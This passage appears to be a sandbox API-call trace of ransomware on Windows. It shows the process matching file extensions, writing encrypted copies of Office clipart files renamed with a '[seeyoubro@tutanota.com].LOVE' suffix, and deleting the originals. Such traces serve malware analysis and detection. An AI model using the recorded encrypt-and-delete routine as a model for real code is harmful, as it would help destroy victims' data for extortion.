lstrlenW (lpString=".zip") returned 4 [0208.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.509] lstrlenW (lpString=".rar") returned 4 [0208.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.509] lstrlenW (lpString=".bz2") returned 4 [0208.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.509] lstrlenW (lpString=".7z") returned 3 [0208.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0208.510] lstrlenW (lpString=".dbf") returned 4 [0208.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0208.510] lstrlenW (lpString=".1cd") returned 4 [0208.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0208.510] lstrlenW (lpString=".jpg") returned 4 [0208.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.510] GetLastError () returned 0x0 [0208.510] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1264, lpOverlapped=0x0) returned 1 [0208.533] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1270, lpOverlapped=0x0) returned 1 [0208.534] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.534] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.534] SetEndOfFile (hFile=0x2d8) returned 1 [0208.534] CloseHandle (hObject=0x2d8) returned 1 [0208.535] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.535] SetEndOfFile (hFile=0x33c) returned 1 [0208.536] CloseHandle (hObject=0x33c) returned 1 [0208.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0208.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0208.538] lstrlenW (lpString=".doc") returned 4 [0208.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.538] lstrlenW (lpString=".docx") returned 5 [0208.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.538] lstrlenW (lpString=".pdf") returned 4 [0208.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.538] lstrlenW (lpString=".xls") returned 4 [0208.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.539] lstrlenW (lpString=".xlsx") returned 5 [0208.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.539] lstrlenW (lpString=".ppt") returned 4 [0208.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0208.539] lstrlenW (lpString=".zip") returned 4 [0208.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.539] lstrlenW (lpString=".rar") returned 4 [0208.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.539] lstrlenW (lpString=".bz2") returned 4 [0208.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.539] lstrlenW (lpString=".7z") returned 3 [0208.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0208.539] lstrlenW (lpString=".dbf") returned 4 [0208.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0208.539] lstrlenW (lpString=".1cd") returned 4 [0208.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0208.539] lstrlenW (lpString=".jpg") returned 4 [0208.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.545] GetLastError () returned 0x0 [0208.545] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x30c2, lpOverlapped=0x0) returned 1 [0208.557] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x30d0, lpOverlapped=0x0) returned 1 [0208.559] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.559] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.559] SetEndOfFile (hFile=0x374) returned 1 [0208.559] CloseHandle (hObject=0x374) returned 1 [0208.559] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.559] SetEndOfFile (hFile=0x2d8) returned 1 [0208.560] CloseHandle (hObject=0x2d8) returned 1 [0208.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0208.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0208.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0208.561] lstrlenW (lpString=".doc") returned 4 [0208.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.561] lstrlenW (lpString=".docx") returned 5 [0208.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.561] lstrlenW (lpString=".pdf") returned 4 [0208.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.561] lstrlenW (lpString=".xls") returned 4 [0208.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.561] lstrlenW (lpString=".xlsx") returned 5 [0208.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.561] lstrlenW (lpString=".ppt") returned 4 [0208.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0208.561] lstrlenW (lpString=".zip") returned 4 [0208.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.561] lstrlenW (lpString=".rar") returned 4 [0208.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.561] lstrlenW (lpString=".bz2") returned 4 [0208.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.561] lstrlenW (lpString=".7z") returned 3 [0208.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0208.561] lstrlenW (lpString=".dbf") returned 4 [0208.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0208.562] lstrlenW (lpString=".1cd") returned 4 [0208.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0208.562] lstrlenW (lpString=".jpg") returned 4 [0208.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.562] GetLastError () returned 0x0 [0208.562] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1678, lpOverlapped=0x0) returned 1 [0208.564] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1680, lpOverlapped=0x0) returned 1 [0208.565] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.565] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.565] SetEndOfFile (hFile=0x374) returned 1 [0208.565] CloseHandle (hObject=0x374) returned 1 [0208.565] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.565] SetEndOfFile (hFile=0x2d8) returned 1 [0208.566] CloseHandle (hObject=0x2d8) returned 1 [0208.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0208.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0208.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0208.567] lstrlenW (lpString=".doc") returned 4 [0208.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.567] lstrlenW (lpString=".docx") returned 5 [0208.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.567] lstrlenW (lpString=".pdf") returned 4 [0208.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.567] lstrlenW (lpString=".xls") returned 4 [0208.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.567] lstrlenW (lpString=".xlsx") returned 5 [0208.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.567] lstrlenW (lpString=".ppt") returned 4 [0208.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0208.567] lstrlenW (lpString=".zip") returned 4 [0208.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.567] lstrlenW (lpString=".rar") returned 4 [0208.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.567] lstrlenW (lpString=".bz2") returned 4 [0208.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.567] lstrlenW (lpString=".7z") returned 3 [0208.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0208.567] lstrlenW (lpString=".dbf") returned 4 [0208.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0208.567] lstrlenW (lpString=".1cd") returned 4 [0208.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0208.568] lstrlenW (lpString=".jpg") returned 4 [0208.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.568] GetLastError () returned 0x0 [0208.568] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xa54, lpOverlapped=0x0) returned 1 [0208.662] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xa60, lpOverlapped=0x0) returned 1 [0208.664] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.664] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.664] SetEndOfFile (hFile=0x374) returned 1 [0208.664] CloseHandle (hObject=0x374) returned 1 [0208.664] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.664] SetEndOfFile (hFile=0x2d8) returned 1 [0208.665] CloseHandle (hObject=0x2d8) returned 1 [0208.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0208.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0208.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0208.666] lstrlenW (lpString=".doc") returned 4 [0208.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString=".docx") returned 5 [0208.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.666] lstrlenW (lpString=".pdf") returned 4 [0208.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString=".xls") returned 4 [0208.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.666] lstrlenW (lpString=".xlsx") returned 5 [0208.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.666] lstrlenW (lpString=".ppt") returned 4 [0208.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0208.666] lstrlenW (lpString=".zip") returned 4 [0208.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.666] lstrlenW (lpString=".rar") returned 4 [0208.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString=".bz2") returned 4 [0208.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString=".7z") returned 3 [0208.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0208.666] lstrlenW (lpString=".dbf") returned 4 [0208.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0208.666] lstrlenW (lpString=".1cd") returned 4 [0208.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0208.666] lstrlenW (lpString=".jpg") returned 4 [0208.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.667] GetLastError () returned 0x0 [0208.667] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1b54, lpOverlapped=0x0) returned 1 [0208.680] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1b60, lpOverlapped=0x0) returned 1 [0208.683] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.683] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.683] SetEndOfFile (hFile=0x374) returned 1 [0208.683] CloseHandle (hObject=0x374) returned 1 [0208.683] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.683] SetEndOfFile (hFile=0x2d8) returned 1 [0208.684] CloseHandle (hObject=0x2d8) returned 1 [0208.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0208.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0208.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0208.684] lstrlenW (lpString=".doc") returned 4 [0208.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString=".docx") returned 5 [0208.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.685] lstrlenW (lpString=".pdf") returned 4 [0208.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString=".xls") returned 4 [0208.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.685] lstrlenW (lpString=".xlsx") returned 5 [0208.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.685] lstrlenW (lpString=".ppt") returned 4 [0208.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0208.685] lstrlenW (lpString=".zip") returned 4 [0208.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.685] lstrlenW (lpString=".rar") returned 4 [0208.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString=".bz2") returned 4 [0208.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString=".7z") returned 3 [0208.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0208.685] lstrlenW (lpString=".dbf") returned 4 [0208.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0208.685] lstrlenW (lpString=".1cd") returned 4 [0208.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0208.685] lstrlenW (lpString=".jpg") returned 4 [0208.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.686] GetLastError () returned 0x0 [0208.686] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2576, lpOverlapped=0x0) returned 1 [0208.712] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2580, lpOverlapped=0x0) returned 1 [0208.713] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.713] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.713] SetEndOfFile (hFile=0x374) returned 1 [0208.714] CloseHandle (hObject=0x374) returned 1 [0208.714] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.714] SetEndOfFile (hFile=0x2d8) returned 1 [0208.715] CloseHandle (hObject=0x2d8) returned 1 [0208.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0208.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0208.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0208.715] lstrlenW (lpString=".doc") returned 4 [0208.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.715] lstrlenW (lpString=".docx") returned 5 [0208.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.715] lstrlenW (lpString=".pdf") returned 4 [0208.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.715] lstrlenW (lpString=".xls") returned 4 [0208.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.715] lstrlenW (lpString=".xlsx") returned 5 [0208.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.716] lstrlenW (lpString=".ppt") returned 4 [0208.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0208.716] lstrlenW (lpString=".zip") returned 4 [0208.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.716] lstrlenW (lpString=".rar") returned 4 [0208.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.716] lstrlenW (lpString=".bz2") returned 4 [0208.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.716] lstrlenW (lpString=".7z") returned 3 [0208.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0208.716] lstrlenW (lpString=".dbf") returned 4 [0208.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0208.716] lstrlenW (lpString=".1cd") returned 4 [0208.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0208.716] lstrlenW (lpString=".jpg") returned 4 [0208.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.717] GetLastError () returned 0x0 [0208.717] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1138, lpOverlapped=0x0) returned 1 [0208.818] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1140, lpOverlapped=0x0) returned 1 [0208.819] 